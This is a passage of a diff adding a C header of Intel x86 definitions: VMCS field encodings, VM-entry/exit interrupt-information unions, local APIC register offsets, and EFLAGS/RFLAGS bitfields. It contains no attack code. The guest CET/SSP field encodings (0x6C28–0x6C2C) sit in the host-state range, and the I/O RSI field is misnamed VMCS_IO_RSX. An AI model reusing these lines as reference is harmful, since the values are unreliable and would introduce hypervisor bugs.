VMCS_GUEST_GS_ACCESS_RIGHTS 0x0000481E + + /** + * Guest LDTR access rights. + */ +#define VMCS_GUEST_LDTR_ACCESS_RIGHTS 0x00004820 + + /** + * Guest TR access rights. + */ +#define VMCS_GUEST_TR_ACCESS_RIGHTS 0x00004822 + + /** + * Guest interruptibility state. + */ +#define VMCS_GUEST_INTERRUPTIBILITY_STATE 0x00004824 + + /** + * Guest activity state. + */ +#define VMCS_GUEST_ACTIVITY_STATE 0x00004826 + + /** + * Guest SMBASE. + */ +#define VMCS_GUEST_SMBASE 0x00004828 + + /** + * Guest IA32_SYSENTER_CS. + */ +#define VMCS_GUEST_SYSENTER_CS 0x0000482A + + /** + * VMX-preemption timer value. + */ +#define VMCS_GUEST_VMX_PREEMPTION_TIMER_VALUE 0x0000482E + /** + * @} + */ + + /** + * @defgroup vmcs_32_bit_host_state_fields \ + * 32-Bit Host-State Field + * + * 32-Bit Host-State Field. + * @{ + */ + /** + * Host IA32_SYSENTER_CS. + */ +#define VMCS_HOST_SYSENTER_CS 0x00004C00 + /** + * @} + */ + + /** + * @} + */ + + /** + * @defgroup vmcs_natural_width \ + * Natural-Width Fields + * + * Natural-Width Fields. + * + * @see Vol3D[B.4(NATURAL-WIDTH FIELDS)] (reference) + * @{ + */ + /** + * @defgroup vmcs_natural_width_control_fields \ + * Natural-Width Control Fields + * + * Natural-Width Control Fields + * @{ + */ + /** + * CR0 guest/host mask. + */ +#define VMCS_CTRL_CR0_GUEST_HOST_MASK 0x00006000 + + /** + * CR4 guest/host mask. + */ +#define VMCS_CTRL_CR4_GUEST_HOST_MASK 0x00006002 + + /** + * CR0 read shadow. + */ +#define VMCS_CTRL_CR0_READ_SHADOW 0x00006004 + + /** + * CR4 read shadow. + */ +#define VMCS_CTRL_CR4_READ_SHADOW 0x00006006 + + /** + * CR3-target value 0. + */ +#define VMCS_CTRL_CR3_TARGET_VALUE_0 0x00006008 + + /** + * CR3-target value 1. + */ +#define VMCS_CTRL_CR3_TARGET_VALUE_1 0x0000600A + + /** + * CR3-target value 2. + */ +#define VMCS_CTRL_CR3_TARGET_VALUE_2 0x0000600C + + /** + * CR3-target value 3. + */ +#define VMCS_CTRL_CR3_TARGET_VALUE_3 0x0000600E + /** + * @} + */ + + /** + * @defgroup vmcs_natural_width_read_only_data_fields \ + * Natural-Width Read-Only Data Fields + * + * Natural-Width Read-Only Data Fields. + * @{ + */ + /** + * Exit qualification. + */ +#define VMCS_EXIT_QUALIFICATION 0x00006400 + + /** + * I/O RCX. + */ +#define VMCS_IO_RCX 0x00006402 + + /** + * I/O RSI. + */ +#define VMCS_IO_RSX 0x00006404 + + /** + * I/O RDI. + */ +#define VMCS_IO_RDI 0x00006406 + + /** + * I/O RIP. + */ +#define VMCS_IO_RIP 0x00006408 + + /** + * Guest-linear address. + */ +#define VMCS_EXIT_GUEST_LINEAR_ADDRESS 0x0000640A + /** + * @} + */ + + /** + * @defgroup vmcs_natural_width_guest_state_fields \ + * Natural-Width Guest-State Fields + * + * Natural-Width Guest-State Fields. + * @{ + */ + /** + * Guest CR0. + */ +#define VMCS_GUEST_CR0 0x00006800 + + /** + * Guest CR3. + */ +#define VMCS_GUEST_CR3 0x00006802 + + /** + * Guest CR4. + */ +#define VMCS_GUEST_CR4 0x00006804 + + /** + * Guest ES base. + */ +#define VMCS_GUEST_ES_BASE 0x00006806 + + /** + * Guest CS base. + */ +#define VMCS_GUEST_CS_BASE 0x00006808 + + /** + * Guest SS base. + */ +#define VMCS_GUEST_SS_BASE 0x0000680A + + /** + * Guest DS base. + */ +#define VMCS_GUEST_DS_BASE 0x0000680C + + /** + * Guest FS base. + */ +#define VMCS_GUEST_FS_BASE 0x0000680E + + /** + * Guest GS base. + */ +#define VMCS_GUEST_GS_BASE 0x00006810 + + /** + * Guest LDTR base. + */ +#define VMCS_GUEST_LDTR_BASE 0x00006812 + + /** + * Guest TR base. + */ +#define VMCS_GUEST_TR_BASE 0x00006814 + + /** + * Guest GDTR base. + */ +#define VMCS_GUEST_GDTR_BASE 0x00006816 + + /** + * Guest IDTR base. + */ +#define VMCS_GUEST_IDTR_BASE 0x00006818 + + /** + * Guest DR7. + */ +#define VMCS_GUEST_DR7 0x0000681A + + /** + * Guest RSP. + */ +#define VMCS_GUEST_RSP 0x0000681C + + /** + * Guest RIP. + */ +#define VMCS_GUEST_RIP 0x0000681E + + /** + * Guest RFLAGS. + */ +#define VMCS_GUEST_RFLAGS 0x00006820 + + /** + * Guest pending debug exceptions. + */ +#define VMCS_GUEST_PENDING_DEBUG_EXCEPTIONS 0x00006822 + + /** + * Guest IA32_SYSENTER_ESP. + */ +#define VMCS_GUEST_SYSENTER_ESP 0x00006824 + + /** + * Guest IA32_SYSENTER_EIP. + */ +#define VMCS_GUEST_SYSENTER_EIP 0x00006826 + + /** + * Guest IA32_S_CET. + */ +#define VMCS_GUEST_S_CET 0x00006C28 + + /** + * Guest SSP. + */ +#define VMCS_GUEST_SSP 0x00006C2A + + /** + * Guest IA32_INTERRUPT_SSP_TABLE_ADDR. + */ +#define VMCS_GUEST_INTERRUPT_SSP_TABLE_ADDR 0x00006C2C + /** + * @} + */ + + /** + * @defgroup vmcs_natural_width_host_state_fields \ + * Natural-Width Host-State Fields + * + * Natural-Width Host-State Fields. + * @{ + */ + /** + * Host CR0. + */ +#define VMCS_HOST_CR0 0x00006C00 + + /** + * Host CR3. + */ +#define VMCS_HOST_CR3 0x00006C02 + + /** + * Host CR4. + */ +#define VMCS_HOST_CR4 0x00006C04 + + /** + * Host FS base. + */ +#define VMCS_HOST_FS_BASE 0x00006C06 + + /** + * Host GS base. + */ +#define VMCS_HOST_GS_BASE 0x00006C08 + + /** + * Host TR base. + */ +#define VMCS_HOST_TR_BASE 0x00006C0A + + /** + * Host GDTR base. + */ +#define VMCS_HOST_GDTR_BASE 0x00006C0C + + /** + * Host IDTR base. + */ +#define VMCS_HOST_IDTR_BASE 0x00006C0E + + /** + * Host IA32_SYSENTER_ESP. + */ +#define VMCS_HOST_SYSENTER_ESP 0x00006C10 + + /** + * Host IA32_SYSENTER_EIP. + */ +#define VMCS_HOST_SYSENTER_EIP 0x00006C12 + + /** + * Host RSP. + */ +#define VMCS_HOST_RSP 0x00006C14 + + /** + * Host RIP. + */ +#define VMCS_HOST_RIP 0x00006C16 + + /** + * Host IA32_S_CET. + */ +#define VMCS_HOST_S_CET 0x00006C18 + + /** + * Host SSP. + */ +#define VMCS_HOST_SSP 0x00006C1A + + /** + * Host IA32_INTERRUPT_SSP_TABLE_ADDR. + */ +#define VMCS_HOST_INTERRUPT_SSP_TABLE_ADDR 0x00006C1C + /** + * @} + */ + + /** + * @} + */ + + /** + * @} + */ + + /** + * @brief Valid interruption types + */ +typedef enum +{ + /** + * External interrupt. + */ + external_interrupt = 0x00000000, + + /** + * Non-maskable interrupt (NMI). + */ + non_maskable_interrupt = 0x00000002, + + /** + * Hardware exception (e.g,. \#PF). + */ + hardware_exception = 0x00000003, + + /** + * Software interrupt (INT n). + */ + software_interrupt = 0x00000004, + + /** + * Privileged software exception (INT1). + */ + privileged_software_exception = 0x00000005, + + /** + * Software exception (INT3 or INTO). + */ + software_exception = 0x00000006, + + /** + * Other event. This type is used for injection of events that are not delivered through the IDT. + */ + other_event = 0x00000007, +} interruption_type; + +/** + * @brief VM entry can be configured to conclude by delivering an event through the IDT (after all guest state and MSRs + * have been loaded). This process is called event injection and is controlled by these VM-entry control fields + * + * @see Vol3A[24.8.3(VM-Entry Controls for Event Injection)] (reference) + */ +typedef union +{ + struct + { + /** + * @brief Vector of interrupt or exception + * + * [Bits 7:0] Determines which entry in the IDT is used or which other event is injected. + */ + uint32_t vector : 8; +#define VMENTRY_INTERRUPT_INFORMATION_VECTOR_BIT 0 +#define VMENTRY_INTERRUPT_INFORMATION_VECTOR_FLAG 0xFF +#define VMENTRY_INTERRUPT_INFORMATION_VECTOR_MASK 0xFF +#define VMENTRY_INTERRUPT_INFORMATION_VECTOR(_) (((_) >> 0) & 0xFF) + + /** + * @brief Interruption type + * + * [Bits 10:8] Determines details of how the injection is performed. + */ + uint32_t interruption_type : 3; +#define VMENTRY_INTERRUPT_INFORMATION_INTERRUPTION_TYPE_BIT 8 +#define VMENTRY_INTERRUPT_INFORMATION_INTERRUPTION_TYPE_FLAG 0x700 +#define VMENTRY_INTERRUPT_INFORMATION_INTERRUPTION_TYPE_MASK 0x07 +#define VMENTRY_INTERRUPT_INFORMATION_INTERRUPTION_TYPE(_) (((_) >> 8) & 0x07) + + /** + * @brief Deliver error code (0 = do not deliver; 1 = deliver) + * + * [Bit 11] Determines whether delivery pushes an error code on the guest stack. + */ + uint32_t deliver_error_code : 1; +#define VMENTRY_INTERRUPT_INFORMATION_DELIVER_ERROR_CODE_BIT 11 +#define VMENTRY_INTERRUPT_INFORMATION_DELIVER_ERROR_CODE_FLAG 0x800 +#define VMENTRY_INTERRUPT_INFORMATION_DELIVER_ERROR_CODE_MASK 0x01 +#define VMENTRY_INTERRUPT_INFORMATION_DELIVER_ERROR_CODE(_) (((_) >> 11) & 0x01) + uint32_t reserved1 : 19; + + /** + * @brief Valid + * + * [Bit 31] VM entry injects an event if and only if the valid bit is 1. The valid bit in this field is cleared on every VM + * exit. + */ + uint32_t valid : 1; +#define VMENTRY_INTERRUPT_INFORMATION_VALID_BIT 31 +#define VMENTRY_INTERRUPT_INFORMATION_VALID_FLAG 0x80000000 +#define VMENTRY_INTERRUPT_INFORMATION_VALID_MASK 0x01 +#define VMENTRY_INTERRUPT_INFORMATION_VALID(_) (((_) >> 31) & 0x01) + }; + + uint32_t flags; +} vmentry_interrupt_information; + +/** + * @brief VM entry can be configured to conclude by delivering an event through the IDT (after all guest state and MSRs + * have been loaded). This process is called event injection and is controlled by these VM-entry control fields + * + * @see Vol3A[24.9.2(Information for VM Exits Due to Vectored Events)] (reference) + */ +typedef union +{ + struct + { + /** + * [Bits 7:0] Vector of interrupt or exception. + */ + uint32_t vector : 8; +#define VMEXIT_INTERRUPT_INFORMATION_VECTOR_BIT 0 +#define VMEXIT_INTERRUPT_INFORMATION_VECTOR_FLAG 0xFF +#define VMEXIT_INTERRUPT_INFORMATION_VECTOR_MASK 0xFF +#define VMEXIT_INTERRUPT_INFORMATION_VECTOR(_) (((_) >> 0) & 0xFF) + + /** + * [Bits 10:8] Interruption type. + */ + uint32_t interruption_type : 3; +#define VMEXIT_INTERRUPT_INFORMATION_INTERRUPTION_TYPE_BIT 8 +#define VMEXIT_INTERRUPT_INFORMATION_INTERRUPTION_TYPE_FLAG 0x700 +#define VMEXIT_INTERRUPT_INFORMATION_INTERRUPTION_TYPE_MASK 0x07 +#define VMEXIT_INTERRUPT_INFORMATION_INTERRUPTION_TYPE(_) (((_) >> 8) & 0x07) + + /** + * [Bit 11] Deliver error code (0 = do not deliver; 1 = deliver). + */ + uint32_t error_code_valid : 1; +#define VMEXIT_INTERRUPT_INFORMATION_ERROR_CODE_VALID_BIT 11 +#define VMEXIT_INTERRUPT_INFORMATION_ERROR_CODE_VALID_FLAG 0x800 +#define VMEXIT_INTERRUPT_INFORMATION_ERROR_CODE_VALID_MASK 0x01 +#define VMEXIT_INTERRUPT_INFORMATION_ERROR_CODE_VALID(_) (((_) >> 11) & 0x01) + + /** + * [Bit 12] NMI unblocking due to IRET. + */ + uint32_t nmi_unblocking : 1; +#define VMEXIT_INTERRUPT_INFORMATION_NMI_UNBLOCKING_BIT 12 +#define VMEXIT_INTERRUPT_INFORMATION_NMI_UNBLOCKING_FLAG 0x1000 +#define VMEXIT_INTERRUPT_INFORMATION_NMI_UNBLOCKING_MASK 0x01 +#define VMEXIT_INTERRUPT_INFORMATION_NMI_UNBLOCKING(_) (((_) >> 12) & 0x01) + uint32_t reserved1 : 18; + + /** + * [Bit 31] Valid. + */ + uint32_t valid : 1; +#define VMEXIT_INTERRUPT_INFORMATION_VALID_BIT 31 +#define VMEXIT_INTERRUPT_INFORMATION_VALID_FLAG 0x80000000 +#define VMEXIT_INTERRUPT_INFORMATION_VALID_MASK 0x01 +#define VMEXIT_INTERRUPT_INFORMATION_VALID(_) (((_) >> 31) & 0x01) + }; + + uint32_t flags; +} vmexit_interrupt_information; + +/** + * @} + */ + + /** + * @defgroup apic \ + * Advanced Programmable Interrupt Controller (APIC) + * + * Software interacts with the local APIC by reading and writing its registers. APIC registers are memory-mapped to a + * 4-KByte region of the processor's physical address space with an initial starting address of FEE00000H. For correct APIC + * operation, this address space must be mapped to an area of memory that has been designated as strong uncacheable (UC). + * + * @remarks Registers are 32 bits, 64 bits, or 256 bits in width; all are aligned on 128-bit boundaries. All 32-bit + * registers should be accessed using 128-bit aligned 32-bit loads or stores. Some processors may support loads and stores + * of less than 32 bits to some of the APIC registers. This is model specific behavior and is not guaranteed to work on all + * processors. Any FP/MMX/SSE access to an APIC register, or any access that touches bytes 4 through 15 of an APIC register + * may cause undefined behavior and must not be executed. This undefined behavior could include hangs, incorrect results or + * unexpected exceptions, including machine checks, and may vary between implementations. Wider registers (64-bit or + * 256-bit) must be accessed using multiple 32-bit loads or stores, with all accesses being 128-bit aligned. + * @see Vol3A[10.4.1(The Local APIC Block Diagram)] (reference) + * @{ + */ + /** + * Local APIC Base Address. + * + * @remarks Reserved. + */ +#define APIC_BASE_ADDRESS 0xFEE00000 + + /** + * Local APIC ID Register. + */ +#define APIC_ID 0x00000020 + + /** + * Local APIC Version Register. + */ +#define APIC_VERSION 0x00000030 + + /** + * Task Priority Register (TPR). + */ +#define APIC_TASK_PRIORITY 0x00000080 + + /** + * Arbitration Priority Register (APR). + */ +#define APIC_ARBITRATION_PRIORITY 0x00000090 + + /** + * Processor Priority Register (PPR). + */ +#define APIC_PROCESSOR_PRIORITY 0x000000A0 + + /** + * EOI Register. + */ +#define APIC_EOI 0x000000B0 + + /** + * Remote Read Register (RRD). + */ +#define APIC_REMOTE_READ 0x000000C0 + + /** + * Logical Destination Register. + */ +#define APIC_LOGICAL_DESTINATION 0x000000D0 + + /** + * Destination Format Register. + * + * @see Vol3A[10.6.2.2(Logical Destination Mode)] + */ +#define APIC_DESTINATION_FORMAT 0x000000E0 + + /** + * Spurious Interrupt Vector Register. + * + * @see Vol3A[10.9(SPURIOUS INTERRUPT)] + */ +#define APIC_SPURIOUS_INTERRUPT_VECTOR 0x000000F0 + + /** + * In-Service Register (ISR); bits 31:0. + */ +#define APIC_IN_SERVICE_BITS_31_0 0x00000100 + + /** + * In-Service Register (ISR); bits 63:32. + */ +#define APIC_IN_SERVICE_BITS_63_32 0x00000110 + + /** + * In-Service Register (ISR); bits 95:64. + */ +#define APIC_IN_SERVICE_BITS_95_64 0x00000120 + + /** + * In-Service Register (ISR); bits 127:96. + */ +#define APIC_IN_SERVICE_BITS_127_96 0x00000130 + + /** + * In-Service Register (ISR); bits 159:128. + */ +#define APIC_IN_SERVICE_BITS_159_128 0x00000140 + + /** + * In-Service Register (ISR); bits 191:160. + */ +#define APIC_IN_SERVICE_BITS_191_160 0x00000150 + + /** + * In-Service Register (ISR); bits 223:192. + */ +#define APIC_IN_SERVICE_BITS_223_192 0x00000160 + + /** + * In-Service Register (ISR); bits 255:224. + */ +#define APIC_IN_SERVICE_BITS_255_224 0x00000170 + + /** + * Trigger Mode Register (TMR); bits 31:0. + */ +#define APIC_TRIGGER_MODE_BITS_31_0 0x00000180 + + /** + * Trigger Mode Register (TMR); bits 63:32. + */ +#define APIC_TRIGGER_MODE_BITS_63_32 0x00000190 + + /** + * Trigger Mode Register (TMR); bits 95:64. + */ +#define APIC_TRIGGER_MODE_BITS_95_64 0x000001A0 + + /** + * Trigger Mode Register (TMR); bits 127:96. + */ +#define APIC_TRIGGER_MODE_BITS_127_96 0x000001B0 + + /** + * Trigger Mode Register (TMR); bits 159:128. + */ +#define APIC_TRIGGER_MODE_BITS_159_128 0x000001C0 + + /** + * Trigger Mode Register (TMR); bits 191:160. + */ +#define APIC_TRIGGER_MODE_BITS_191_160 0x000001D0 + + /** + * Trigger Mode Register (TMR); bits 223:192. + */ +#define APIC_TRIGGER_MODE_BITS_223_192 0x000001E0 + + /** + * Trigger Mode Register (TMR); bits 255:224. + */ +#define APIC_TRIGGER_MODE_BITS_255_224 0x000001F0 + + /** + * Interrupt Request Register (IRR); bits 31:0. + */ +#define APIC_INTERRUPT_REQUEST_BITS_31_0 0x00000200 + + /** + * Interrupt Request Register (IRR); bits 63:32. + */ +#define APIC_INTERRUPT_REQUEST_BITS_63_32 0x00000210 + + /** + * Interrupt Request Register (IRR); bits 95:64. + */ +#define APIC_INTERRUPT_REQUEST_BITS_95_64 0x00000220 + + /** + * Interrupt Request Register (IRR); bits 127:96. + */ +#define APIC_INTERRUPT_REQUEST_BITS_127_96 0x00000230 + + /** + * Interrupt Request Register (IRR); bits 159:128. + */ +#define APIC_INTERRUPT_REQUEST_BITS_159_128 0x00000240 + + /** + * Interrupt Request Register (IRR); bits 191:160. + */ +#define APIC_INTERRUPT_REQUEST_BITS_191_160 0x00000250 + + /** + * Interrupt Request Register (IRR); bits 223:192. + */ +#define APIC_INTERRUPT_REQUEST_BITS_223_192 0x00000260 + + /** + * Interrupt Request Register (IRR); bits 255:224. + */ +#define APIC_INTERRUPT_REQUEST_BITS_255_224 0x00000270 + + /** + * Error Status Register. + */ +#define APIC_ERROR_STATUS 0x00000280 + + /** + * LVT Corrected Machine Check Interrupt (CMCI) Register. + */ +#define APIC_LVT_CORRECTED_MACHINE_CHECK_INTERRUPT 0x000002F0 + + /** + * Interrupt Command Register (ICR); bits 0-31. + */ +#define APIC_INTERRUPT_COMMAND_BITS_0_31 0x00000300 + + /** + * Interrupt Command Register (ICR); bits 32-63. + */ +#define APIC_INTERRUPT_COMMAND_BITS_32_63 0x00000310 + + /** + * LVT Timer Register. + */ +#define APIC_LVT_TIMER 0x00000320 + + /** + * LVT Thermal Sensor Register. + */ +#define APIC_LVT_THERMAL_SENSOR 0x00000330 + + /** + * LVT Performance Monitoring Counters Register. + */ +#define APIC_LVT_PERFORMANCE_MONITORING_COUNTERS 0x00000340 + + /** + * LVT LINT0 Register. + */ +#define APIC_LVT_LINT0 0x00000350 + + /** + * LVT LINT1 Register. + */ +#define APIC_LVT_LINT1 0x00000360 + + /** + * LVT Error Register. + */ +#define APIC_LVT_ERROR 0x00000370 + + /** + * Initial Count Register (for Timer). + */ +#define APIC_INITIAL_COUNT 0x00000380 + + /** + * Current Count Register (for Timer). + */ +#define APIC_CURRENT_COUNT 0x00000390 + + /** + * Divide Configuration Register (for Timer). + */ +#define APIC_DIVIDE_CONFIGURATION 0x000003E0 + /** + * @} + */ + + /** + * The 32-bit EFLAGS register contains a group of status flags, a control flag, and a group of system flags. The status + * flags (bits 0, 2, 4, 6, 7, and 11) of the EFLAGS register indicate the results of arithmetic instructions, such as the + * ADD, SUB, MUL, and DIV instructions. + * The system flags and IOPL field in the EFLAGS register control operating-system or executive operations. + * + * @see Vol1[3.4.3(EFLAGS)] (reference) + */ +typedef union +{ + struct + { + /** + * @brief Carry flag + * + * [Bit 0] Set if an arithmetic operation generates a carry or a borrow out of the mostsignificant bit of the result; + * cleared otherwise. This flag indicates an overflow condition for unsigned-integer arithmetic. It is also used in + * multiple-precision arithmetic. + */ + uint32_t carry_flag : 1; +#define EFLAGS_CARRY_FLAG_BIT 0 +#define EFLAGS_CARRY_FLAG_FLAG 0x01 +#define EFLAGS_CARRY_FLAG_MASK 0x01 +#define EFLAGS_CARRY_FLAG(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Reserved - always 1 + */ + uint32_t read_as_1 : 1; +#define EFLAGS_READ_AS_1_BIT 1 +#define EFLAGS_READ_AS_1_FLAG 0x02 +#define EFLAGS_READ_AS_1_MASK 0x01 +#define EFLAGS_READ_AS_1(_) (((_) >> 1) & 0x01) + + /** + * @brief Parity flag + * + * [Bit 2] Set if the least-significant byte of the result contains an even number of 1 bits; cleared otherwise. + */ + uint32_t parity_flag : 1; +#define EFLAGS_PARITY_FLAG_BIT 2 +#define EFLAGS_PARITY_FLAG_FLAG 0x04 +#define EFLAGS_PARITY_FLAG_MASK 0x01 +#define EFLAGS_PARITY_FLAG(_) (((_) >> 2) & 0x01) + uint32_t reserved1 : 1; + + /** + * @brief Auxiliary Carry flag + * + * [Bit 4] Set if an arithmetic operation generates a carry or a borrow out of bit 3 of the result; cleared otherwise. This + * flag is used in binary-coded decimal (BCD) arithmetic. + */ + uint32_t auxiliary_carry_flag : 1; +#define EFLAGS_AUXILIARY_CARRY_FLAG_BIT 4 +#define EFLAGS_AUXILIARY_CARRY_FLAG_FLAG 0x10 +#define EFLAGS_AUXILIARY_CARRY_FLAG_MASK 0x01 +#define EFLAGS_AUXILIARY_CARRY_FLAG(_) (((_) >> 4) & 0x01) + uint32_t reserved2 : 1; + + /** + * @brief Zero flag + * + * [Bit 6] Set if the result is zero; cleared otherwise. + */ + uint32_t zero_flag : 1; +#define EFLAGS_ZERO_FLAG_BIT 6 +#define EFLAGS_ZERO_FLAG_FLAG 0x40 +#define EFLAGS_ZERO_FLAG_MASK 0x01 +#define EFLAGS_ZERO_FLAG(_) (((_) >> 6) & 0x01) + + /** + * @brief Sign flag + * + * [Bit 7] Set equal to the most-significant bit of the result, which is the sign bit of a signed integer. (0 indicates a + * positive value and 1 indicates a negative value.) + */ + uint32_t sign_flag : 1; +#define EFLAGS_SIGN_FLAG_BIT 7 +#define EFLAGS_SIGN_FLAG_FLAG 0x80 +#define EFLAGS_SIGN_FLAG_MASK 0x01 +#define EFLAGS_SIGN_FLAG(_) (((_) >> 7) & 0x01) + + /** + * @brief Trap flag + * + * [Bit 8] Set to enable single-step mode for debugging; clear to disable single-step mode. + */ + uint32_t trap_flag : 1; +#define EFLAGS_TRAP_FLAG_BIT 8 +#define EFLAGS_TRAP_FLAG_FLAG 0x100 +#define EFLAGS_TRAP_FLAG_MASK 0x01 +#define EFLAGS_TRAP_FLAG(_) (((_) >> 8) & 0x01) + + /** + * @brief Interrupt enable flag + * + * [Bit 9] Controls the response of the processor to maskable interrupt requests. Set to respond to maskable interrupts; + * cleared to inhibit maskable interrupts. + */ + uint32_t interrupt_enable_flag : 1; +#define EFLAGS_INTERRUPT_ENABLE_FLAG_BIT 9 +#define EFLAGS_INTERRUPT_ENABLE_FLAG_FLAG 0x200 +#define EFLAGS_INTERRUPT_ENABLE_FLAG_MASK 0x01 +#define EFLAGS_INTERRUPT_ENABLE_FLAG(_) (((_) >> 9) & 0x01) + + /** + * @brief Direction flag + * + * [Bit 10] Controls string instructions (MOVS, CMPS, SCAS, LODS, and STOS). Setting the DF flag causes the string + * instructions to auto-decrement (to process strings from high addresses to low addresses). Clearing the DF flag causes + * the string instructions to auto-increment (process strings from low addresses to high addresses). + */ + uint32_t direction_flag : 1; +#define EFLAGS_DIRECTION_FLAG_BIT 10 +#define EFLAGS_DIRECTION_FLAG_FLAG 0x400 +#define EFLAGS_DIRECTION_FLAG_MASK 0x01 +#define EFLAGS_DIRECTION_FLAG(_) (((_) >> 10) & 0x01) + + /** + * @brief Overflow flag + * + * [Bit 11] Set if the integer result is too large a positive number or too small a negative number (excluding the + * sign-bit) to fit in the destination operand; cleared otherwise. This flag indicates an overflow condition for + * signed-integer (two's complement) arithmetic. + */ + uint32_t overflow_flag : 1; +#define EFLAGS_OVERFLOW_FLAG_BIT 11 +#define EFLAGS_OVERFLOW_FLAG_FLAG 0x800 +#define EFLAGS_OVERFLOW_FLAG_MASK 0x01 +#define EFLAGS_OVERFLOW_FLAG(_) (((_) >> 11) & 0x01) + + /** + * @brief I/O privilege level field + * + * [Bits 13:12] Indicates the I/O privilege level of the currently running program or task. The current privilege level + * (CPL) of the currently running program or task must be less than or equal to the I/O privilege level to access the I/O + * address space. The POPF and IRET instructions can modify this field only when operating at a CPL of 0. + */ + uint32_t io_privilege_level : 2; +#define EFLAGS_IO_PRIVILEGE_LEVEL_BIT 12 +#define EFLAGS_IO_PRIVILEGE_LEVEL_FLAG 0x3000 +#define EFLAGS_IO_PRIVILEGE_LEVEL_MASK 0x03 +#define EFLAGS_IO_PRIVILEGE_LEVEL(_) (((_) >> 12) & 0x03) + + /** + * @brief Nested task flag + * + * [Bit 14] Controls the chaining of interrupted and called tasks. Set when the current task is linked to the previously + * executed task; cleared when the current task is not linked to another task. + */ + uint32_t nested_task_flag : 1; +#define EFLAGS_NESTED_TASK_FLAG_BIT 14 +#define EFLAGS_NESTED_TASK_FLAG_FLAG 0x4000 +#define EFLAGS_NESTED_TASK_FLAG_MASK 0x01 +#define EFLAGS_NESTED_TASK_FLAG(_) (((_) >> 14) & 0x01) + uint32_t reserved3 : 1; + + /** + * @brief Resume flag + * + * [Bit 16] Controls the processor's response to debug exceptions. + */ + uint32_t resume_flag : 1; +#define EFLAGS_RESUME_FLAG_BIT 16 +#define EFLAGS_RESUME_FLAG_FLAG 0x10000 +#define EFLAGS_RESUME_FLAG_MASK 0x01 +#define EFLAGS_RESUME_FLAG(_) (((_) >> 16) & 0x01) + + /** + * @brief Virtual-8086 mode flag + * + * [Bit 17] Set to enable virtual-8086 mode; clear to return to protected mode without virtual-8086 mode semantics. + */ + uint32_t virtual_8086_mode_flag : 1; +#define EFLAGS_VIRTUAL_8086_MODE_FLAG_BIT 17 +#define EFLAGS_VIRTUAL_8086_MODE_FLAG_FLAG 0x20000 +#define EFLAGS_VIRTUAL_8086_MODE_FLAG_MASK 0x01 +#define EFLAGS_VIRTUAL_8086_MODE_FLAG(_) (((_) >> 17) & 0x01) + + /** + * @brief Alignment check (or access control) flag + * + * [Bit 18] If the AM bit is set in the CR0 register, alignment checking of user-mode data accesses is enabled if and only + * if this flag is 1. If the SMAP bit is set in the CR4 register, explicit supervisor-mode data accesses to user-mode pages + * are allowed if and only if this bit is 1. + * + * @see Vol3A[4.6(ACCESS RIGHTS)] + */ + uint32_t alignment_check_flag : 1; +#define EFLAGS_ALIGNMENT_CHECK_FLAG_BIT 18 +#define EFLAGS_ALIGNMENT_CHECK_FLAG_FLAG 0x40000 +#define EFLAGS_ALIGNMENT_CHECK_FLAG_MASK 0x01 +#define EFLAGS_ALIGNMENT_CHECK_FLAG(_) (((_) >> 18) & 0x01) + + /** + * @brief Virtual interrupt flag + * + * [Bit 19] Virtual image of the IF flag. Used in conjunction with the VIP flag. (To use this flag and the VIP flag the + * virtual mode extensions are enabled by setting the VME flag in control register CR4.) + */ + uint32_t virtual_interrupt_flag : 1; +#define EFLAGS_VIRTUAL_INTERRUPT_FLAG_BIT 19 +#define EFLAGS_VIRTUAL_INTERRUPT_FLAG_FLAG 0x80000 +#define EFLAGS_VIRTUAL_INTERRUPT_FLAG_MASK 0x01 +#define EFLAGS_VIRTUAL_INTERRUPT_FLAG(_) (((_) >> 19) & 0x01) + + /** + * @brief Virtual interrupt pending flag + * + * [Bit 20] Set to indicate that an interrupt is pending; clear when no interrupt is pending. (Software sets and clears + * this flag; the processor only reads it.) Used in conjunction with the VIF flag. + */ + uint32_t virtual_interrupt_pending_flag : 1; +#define EFLAGS_VIRTUAL_INTERRUPT_PENDING_FLAG_BIT 20 +#define EFLAGS_VIRTUAL_INTERRUPT_PENDING_FLAG_FLAG 0x100000 +#define EFLAGS_VIRTUAL_INTERRUPT_PENDING_FLAG_MASK 0x01 +#define EFLAGS_VIRTUAL_INTERRUPT_PENDING_FLAG(_) (((_) >> 20) & 0x01) + + /** + * @brief Identification flag + * + * [Bit 21] The ability of a program to set or clear this flag indicates support for the CPUID instruction. + */ + uint32_t identification_flag : 1; +#define EFLAGS_IDENTIFICATION_FLAG_BIT 21 +#define EFLAGS_IDENTIFICATION_FLAG_FLAG 0x200000 +#define EFLAGS_IDENTIFICATION_FLAG_MASK 0x01 +#define EFLAGS_IDENTIFICATION_FLAG(_) (((_) >> 21) & 0x01) + uint32_t reserved4 : 10; + }; + + uint32_t flags; +} eflags; + +/** + * The 64-bit RFLAGS register contains a group of status flags, a control flag, and a group of system flags in 64-bit mode. + * The upper 32 bits of RFLAGS register is reserved. The lower 32 bits of RFLAGS is the same as EFLAGS. + * + * @see EFLAGS + * @see Vol1[3.4.3.4(RFLAGS Register in 64-Bit Mode)] (reference) + */ +typedef union +{ + struct + { + /** + * @brief Carry flag + * + * [Bit 0] See the description in EFLAGS. + */ + uint64_t carry_flag : 1; +#define RFLAGS_CARRY_FLAG_BIT 0 +#define RFLAGS_CARRY_FLAG_FLAG 0x01 +#define RFLAGS_CARRY_FLAG_MASK 0x01 +#define RFLAGS_CARRY_FLAG(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Reserved - always 1 + */ + uint64_t read_as_1 : 1; +#define RFLAGS_READ_AS_1_BIT 1 +#define RFLAGS_READ_AS_1_FLAG 0x02 +#define RFLAGS_READ_AS_1_MASK 0x01 +#define RFLAGS_READ_AS_1(_) (((_) >> 1) & 0x01) + + /** + * @brief Parity flag + * + * [Bit 2] See the description in EFLAGS. + */ + uint64_t parity_flag : 1; +#define RFLAGS_PARITY_FLAG_BIT 2 +#define RFLAGS_PARITY_FLAG_FLAG 0x04 +#define RFLAGS_PARITY_FLAG_MASK 0x01 +#define RFLAGS_PARITY_FLAG(_) (((_) >> 2) & 0x01) + uint64_t reserved1 : 1; + + /** + * @brief Auxiliary Carry flag + * + * [Bit 4] See the description in EFLAGS. + */ + uint64_t auxiliary_carry_flag : 1; +#define RFLAGS_AUXILIARY_CARRY_FLAG_BIT 4 +#define RFLAGS_AUXILIARY_CARRY_FLAG_FLAG 0x10 +#define RFLAGS_AUXILIARY_CARRY_FLAG_MASK 0x01 +#define RFLAGS_AUXILIARY_CARRY_FLAG(_) (((_) >> 4) & 0x01) + uint64_t reserved2 : 1; + + /** + * @brief Zero flag + * + * [Bit 6] See 